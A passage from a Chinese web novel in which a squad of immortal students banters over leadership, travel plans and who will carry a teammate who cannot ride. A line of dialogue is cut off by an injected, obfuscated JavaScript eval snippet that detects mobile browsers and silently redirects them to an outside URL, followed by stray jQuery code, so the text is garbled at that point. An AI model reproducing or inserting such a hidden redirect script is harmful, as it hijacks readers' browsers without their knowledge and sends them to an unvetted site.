“咳咳,你看你激动的,都开始乱说了,我可不是队长,我就是一个小小小队员,我们伟大英明的队长在那儿呢。”贺究麻溜地把自己的手从犊牛宽厚的大手掌中抽出来,歘地指向金玉。
头顶冒号正襟危坐的金玉太子这才脸色微霁,背脊又松弛地靠到了椅背上。
犊勾却不是很服气,小声嘟囔:“搞不懂一点贡献都没有的人凭什么当队长。”
贺究赶紧一连串的咳咳,试图把犊勾的声音盖下去。
省得金玉听到了,又要发作。
说实话,他们这个队伍,情况复杂,根本不可能做到心平气和地选队长。
把队长这个头衔给金玉是最好的。
金玉喜欢这种虚头巴脑的名号,给他当队长,挂个虚职,能少一大半事。
反正贺究才不要当队长,就算金玉硬要把队长让给他,他也不会接。
毕竟小组作业都是写过的,一般当队长的人都会给老师留下深刻印象,个别作业可能还会多加几分。
虽然不知道这次考核的评判标准,但做队员肯定更容易浑水摸鱼,也比做队长讨巧,贺究还指望着找找机会扣自己的分呢。
而若要按实力按资格选队长,朝闻道才是队长的不二人选。
但朝闻道是个独狼,这些天的相处,是个人都能发现他其实并不擅长与人合作,更勿论率领团队了。
最主要的是,他本人应该也是无心要当队长的。
所以,贺究才自作主张把队长的头衔抬举给了金玉。
“好了,考核要紧,正好我们人都在,商量一下接下来的行程和计划吧。”贺究把队长相关的话题迅速揭过。
“嗯,是该提前探讨好,别再像这次帝都之行弄得乱糟糟了。”犊勾赞同贺究的提议。
于是一行人自然而然地看向朝闻道。
朝闻道默然而立。
所有人:“............”
贺究在心里默默扶额。
行行行。
好好好。
最想摸鱼的人被迫主持会议。
悄然叹了一口气,贺究问朝闻道:“按照你的原计划,现在我们应该前往新紫微星的所在地,对吧?”
朝闻道:“对。”
贺究:“你应该知道新紫微星的位置?”
朝闻道:“燕地。”
贺究:“燕地离这远吗?”
朝闻道:“骑马可去,日夜兼程,三五日可达。”
贺究:“............”
其他人:“............”
尼玛的,太拼了吧,日夜兼程什么的......
贺究又叹了一口气。
这次叹出了声。
瑟浪感受到了贺究的不容易,很有良心地参与进了这一问一答的“商议”。他说:“那到达燕地后呢?你可有计划?我们可是说好了共同行动的,你不许再独断专行。”
“不会。在下答应了便不会食言。”朝闻道说道。
瑟浪半信半疑:“你最好是说到做到。”
太玄老君给的考核活泛得很,队伍又是东拼西凑没个主心骨的,在这里干商议也商议不出什么太有用的方案。
还是得走一步算一步。
于是贺究提议:“事已至此,我们先去买马前往燕地吧。从帝都到燕地,一路上还能考察一下王土民风,也算了解凡间民生的一种方法。大家觉得如何?”
“俺觉得可以。”犊勾依然是第一个赞同的。
瑟浪:“我也觉得可行。”
祎墨玑:“我听从队伍安排。”
金玉:“嗯哼。”
除朝闻道外,所有人都投了赞成票。
贺究转头看向唯一没出声的朝闻道:“你觉得呢?”
“可以。”朝闻道说。
“OK,那就出发。”贺究松了口气,打了个响指。
“哦什么?”犊勾问。
贺究:“............”
啊啊啊。
一个不慎,口癖犯了。
妈耶。
贺究顿时尴尬的脚趾扣地,原地抠出了一座皇宫。
贺究都费解自己是如何在这种环境下在这一群仙二代的包围下毫无违和感地说出英文的!
也太割裂了吧!
但可能上辈子的小习惯就是这么深入骨髓......
“......这不重要。”贺究虚弱地摆摆手,敷衍糊弄。
祎墨玑忽地一笑:“赫兰同学你......”
却只是叫了贺究名字一声,并没有下文。
贺究疑惑地望向他。
“没什么。”祎墨玑微笑着摇了摇头。
贺究:“......”
可恶!
没什么干嘛突然叫我!
“出发。”
既已商量妥当,接下来便是动身。
朝闻道第一个朝客栈门外走去。
其余人见状自然赶紧跟了上去。
就怕一转眼这独狼又不见了踪影!
本以为接下来会一切顺利。
顺利地买马,顺利地上路,顺利地抵达燕地。
哪曾想,第二步就卡住了。
贺公子全权买单买马时,祎墨玑为难地告知大家——他不会骑马。
所有人:“............”
这可真是,令人不知该说什么好。
毕竟队伍里没有凡人之躯,便是贺究也会骑马,谁都没想到祎墨玑连骑马都不会。
“你在来靖灵学宫之前过得都是怎样的生活?怎么这也不会那也不会?纯纯废物一个!”沃隆鄙夷的目光像淬了毒的针。
贺究闻言皱眉:“沃隆,每个人都有自己擅长的和不擅长的,你说话大可不必这么难听。朝闻道同学可是有言在先,不许做出伤害队伍团结的事,你要是再口不择言,破坏队伍和谐,可别怪刀剑不长眼。”
沃隆:“???”
沃隆瞪着眼珠看看贺究,再看看朝闻道,奇道:“朝闻道就在这儿,他什么时候说了?”
朝闻道也淡淡向贺究投去视线。
“朝闻道多么正气凛然一个人啊,最爱管像这样的事了。”说着贺究直直迎上朝闻道的目光,无比理所当然:“你说对吧?”
搞笑。
这种时候不用朝闻道什么时候用。
何况,如果朝闻道不管,就坐实了他不是天生正义感爆棚,而是单纯针对自己。
贺究和朝闻道就这么对视了好几息。
是朝闻道先偏头移开了目光。
他的目光转移到了沃隆的脸上。
那冷如冰山风雪的目光。
沃隆陡然打了一个哆嗦,急忙从心地改口道:“我、我我只是无心一说。”
贺究见自己狐假虎威成功了,很是得意:“是不是无心你自己心里清楚,以后最好想清楚了再张嘴。”
说完贺究又教训祎墨玑道:“你也是,干嘛这么好脾气,以后谁要是骂你你就骂回去,你又不欠谁的。”
祎墨玑在贺究转而看向自己时,便定定地看着他,漆黑如墨的眼眸深深如夜。
他扬起一抹笑,轻声道:“好。”
贺究:“......”
咳咳。
说话就说话,笑什么。
还笑得这么招人。
沃隆吃了瘪,奉褚很不高兴,站出来说:“可是祎墨玑自己说他不会骑马,那他怎么办?总不能因为他不会骑马而给他专门配一辆马车吧?这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951921|172898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是耽误大家的行程吗!”
沃隆夜立刻振奋了精神,叫嚣道:“就是啊!这像话吗?我们队长都没说要坐马车,他凭什么坐马车?就凭他废——废废废飞不起来?”
在贺究和朝闻道的共同注视下,沃隆很识时务地在最后转了口。
贺究冷笑道:“你们哪只耳朵听见祎墨玑说要坐马车了?”
“就是,不就是不会骑马,和我共骑一匹马不就行了,我这马是匹千里马,载两个人也不会耽误行程。倒是某些人,马都不会选,还不知道骑得怎么样呢,到时候可别是他们拖累了队伍行程才是。”那边瑟浪挑选好了心仪的马,牵着马回到大部队,听见沃隆奉褚狗叫,不客气地回击了回去。
沃隆奉褚对视一眼:“???”
什么?
他们的马没有选好吗?
始终铁青着脸站在一边的金玉瞥了他们一眼。
金玉这一眼,对他们而言,可比朝闻道的有杀伤力太多。
沃隆奉褚二人顿时心尖一颤。
金玉语气不善道:“以后再丢人,就给我滚出队伍。”
“......”
太子都开口了,二人哪敢再说什么。
沃隆奉褚夹起尾巴低下了头,再不敢嚣张了。
小小的风波平息了之后,还没挑好马的人也很快挑完了自己的马。
除了不会骑马的祎墨玑。
“墨玑,墨玑墨玑,快上来,我载你。”瑟浪跟个开屏的孔雀一样,巴巴围着祎墨玑打转,一个劲请他上自己的马。
祎墨玑被瑟浪追到了围墙墙根底下,一脸的无奈。
贺究:“......”
贺究不知道祎墨玑无不无语,反正他要无语了。
瑟浪喜欢祎墨玑这件事,已经不是秘密了,他喜欢的太明显,整个队伍只要眼不瞎就都能看出来。
起初,贺究刚知道瑟浪对祎墨玑抱有的喜欢是男女之情的那种喜欢时,他吃了一惊。
但他很快就接受了。
毕竟喜欢就是喜欢,无关性别。
但......
性.骚.扰哒咩!
当局者迷,旁观者清。
傻子都能看出来瑟浪是一头热,人祎墨玑对他压根没那方面想法。
而且瑟浪的种种热情,跟骚扰有什么区别嘛。
偏偏祎墨玑一直不好意思直接拒绝。
贺究无语得要命:“哎,这么软弱,肯定不是个绿茶。”
一跃而上,跨上心仪的小白马,贺究哒哒哒骑到了祎墨玑跟前。
他一手拉着马缰,另一手放下递向祎墨玑,说:“上来。”
祎墨玑错愕地抬头,正对上贺究明亮的双眼。
祎墨玑蹙眉:“你......”
“我马术一流,别人带你我信不过,你上我的马吧。”贺究说。
“我马术也不差好吧!而且是我先来的!你干嘛又抢我风头!”瑟浪又被贺究过来截胡,气不过地哇哇大叫。
“我才不是抢你风头,再说祎墨玑想怎么选是他的自由。”贺究才不理会瑟浪的破防呢。
人祎墨玑被他这么骚扰都没破防,他破防个啥。
没想到瑟浪更破防了:“贺究!你玩不起!你都有於见猫了还要抢我的心头好!”
贺究:“???”
首先,贺究不知道自己和小猫怎么突然被扣上了男同的帽子。
其次,他怎么就玩不起了!
“祎墨玑有自己的独立人格,他又不是谁的附属,你凭什么说抢不抢的。再者说——”贺究眉头倏然一扬,哼道:“我就算真的不讲理,你又奈我何?你可别忘了,你的马是我花钱买的,我现在可是你的金主,你要是得罪了我,我就把你的马退掉,让你跑着去燕地!”